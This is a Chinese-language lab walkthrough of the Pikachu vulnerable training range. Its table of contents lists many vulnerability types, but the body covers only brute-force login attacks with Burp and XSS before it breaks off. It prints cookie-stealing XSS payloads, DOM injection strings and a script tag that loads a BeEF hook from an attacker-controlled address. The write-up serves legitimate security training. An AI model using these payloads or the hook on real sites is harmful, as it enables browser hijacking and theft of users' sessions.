pikachu靶场通关全流程

目录

暴力破解:

1.基于表单的暴力破解:

2.验证码绕过(on server):

3.验证码绕过(on client):

token防爆破:

XSS:

1.反射型xss(get):

2.反射性xss(post):

3.存储型xss:

4.DOM型xss:

5.DOM型xss-x:

6.xss盲打:

7.xss之过滤:

8.xss之htmlspecialchars:

9.xss之href输出:

10.xss之js输出:

CSRF:

介绍:

1.CSRF(get):

2.CSRF(post):

3.CSRF Token:

SQL注入:

介绍:

1. 数字型注入(post):

2. 字符型注入(get):

3. 搜索型注入 :

4.xx型注入:

5."insert/update"注入:

6."delete"注入:

7."http header"注入:

8. 基于boolian的盲注:

9. 基于时间的盲注:

10. wide byte注入:

RCE:

介绍:

1. exec "ping" :

2. exec "eval" :

File Inclusion:

1. 本地文件包含:

2. 远程文件包含

Unsafe Filedownload

Unsafe upfileupload

1.client check

2.MIME type

3.getimagesize

Over Permission

1.水平越权:

2.垂直越权:

../../(目录遍历):

敏感信息泄露:

PHP反序列化:

概述:

利用方式:

XXE:

概述:

XXE:

Url重定向:

概述:

url跳转:

SSRF:

概述

SSRF漏洞的危害

1.SSRF(curl):

2.SSRF(file_get_content)

暴力破解:

1.基于表单的暴力破解:

个人理解:无验证码和各种校验程序,最为简单的暴力破解。

随便输入错误的账密,burp抓包,把数据包丢到爆破模块,模式选 Cluster bomb,把账密添加一下 payload ,随便添加几个账密,开始爆破。

长度不一样即爆破成功。

2.验证码绕过(on server):

个人理解:每次请求验证码时会刷新,手动点击验证码图片的时候会刷新,但是我们可以用重复的验证码去爆破,也就是验证码存在不过期,可以重复利用。

这里是输入错误的验证码,修改成正确的之后,发现重复放包时都不会出现验证码错误,这里不要点渲染页面,不然会重新请求验证码。

将包丢到爆破模块,重复利用该验证码即可。

3.验证码绕过(on client):

个人理解:验证码校验过程是在前端进行的,后端是不会进行校验的,所以这里随便输入啥都可以。

网页源码:检查inputCode是否等于一个名为code的变量。如果它们不相等,它显示一个警告消息,内容为"验证码输入错误!",并调用一个名为createCode()的函数来刷新验证码。

我们在页面,随便输入账密,正确的验证码,数据才会提交到后端,bp才能抓到包。

这里不管把验证码修改成啥,回显依旧是这个,直接进行爆破即可。

token防爆破:

随便输入账密,开始抓包,丢入爆破模块。

token是每次请求下发一个,所以线程设置为1

模式选择递归,

爆破成功:

XSS:

XSS(跨站脚本)概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
你可以通过“Cross-Site Scripting”对应的测试栏目,来进一步的了解该漏洞。

1.反射型xss(get):

这里是用get请求做了一个长度的限制,我们使用hackbar来进行传参,页面会弹出一个xss,证明存在xss漏洞,我们顺便讲一下 beef-xss工具。

<script>alert('xss')</script>

我们先登录平台,在靶场这里输入上面的XSS重定向。

上线后,即可看见盗取浏览器的cookie等操作。

2.反射性xss(post):

这里我们首先登陆一下,

利用burp抓包修改以下代码。即可返回当前的cookie。

<script>alert(document.cookie)</script>

3.存储型xss:

个人理解:多数在留言板或者评论区,任意用户访问到该页面时,都会存在你的恶意代码。

这里一样的,输入以下代码,我们访问试试。任何人访问时都会进行弹窗。

<script>alert(document.cookie)</script>

4.DOM型xss:

在输入框随便输入 11 ,F12 可以看见,11 被添加在了 <a> </a> 标签里面(html的超链接标签)

开始构建payload

以下是源码部分
  <div id="xssd_main">
    <script>
    function domxss(){
      var str = document.getElementById("text").value;
      document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
    }
    </script>
    <!--<a href="" onclick=('xss')>-->
    <input id="text" name="text" type="text"  value="" />
    <input id="button" type="button" value="click me!" onclick="domxss()" />
    <div id="dom"></div>
    </div>
---------------------------------------------------
  <a href=''>what do you see?</a>
  这里很明显 我们要在引号上做更多的操作
我们输入 '> 变成了<a href=''>'>what do you see?</a>
很明显我们可以构造一个点击事件 'onclick='alert(1)'> 
点击 what do you see? 的超链接时就可以进行弹框。

我们还可以有其他操作。

  <a href=''>what do you see?</a>
  这里很明显 我们要在引号上做更多的操作
我们输入 '> 变成了<a href=''>'>what do you see?</a>
很明显我们可以构造一个点击事件 'onclick='alert(1)'> 
点击 what do you see? 的超链接时就可以进行弹框。
我们可以添加一个图像和一个错误事件,当找不到图像的地址时就可以利用 onerror 事件来进行弹框
'onclick='alert(1)'><img src=''onerror='alert('xss')'/>
'><img src=''onerror='alert(1)'/>
即变成<a href=''><img src=''onerror='alert(1)'/>'>what do you see?</a>
输入 '><img src=''onerror='alert(1)'/> 提交后,即可直接弹窗。

5.DOM型xss-x:

这题和上面的没啥区别,先看看源码。

点击<a></a>标签执行 function domxss() 弹出 xss。

payload

'onclick='alert(1)'>
function domxss(){
                        var str = window.location.search;  获取当前URL的查询字符串部分
                        var txss = decodeURIComponent(str.split("text=")[1]); 将查询字符串按照"text="进行分割,返回一个数组,用于解码字符串,将特殊字符转换为原始字符。
                        var xss = txss.replace(/\+/g,' ');  是一个正则表达式,用于匹配加号字符。函数将匹配到的加号字符替换为空格
//                        alert(xss);  最后,将处理后的字符串赋值给变量xss
                        document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
                    }
                </script>
                <!--<a href="" onclick=('xss')>-->
                <form method="get">
                <input id="text" name="text" type="text"  value="" />
                <input id="submit" type="submit" value="请说出你的伤心往事"/>
                </form>
                <div id="dom"></div>
            </div>
            <a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>

6.xss盲打:

先提交数据,再看看提示,登录后台,可以看见提交的数据。

我们再次利用 beef-xss 在上方输入框输入:

<script src="http://192.168.10.129:3000/hook.js"></script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值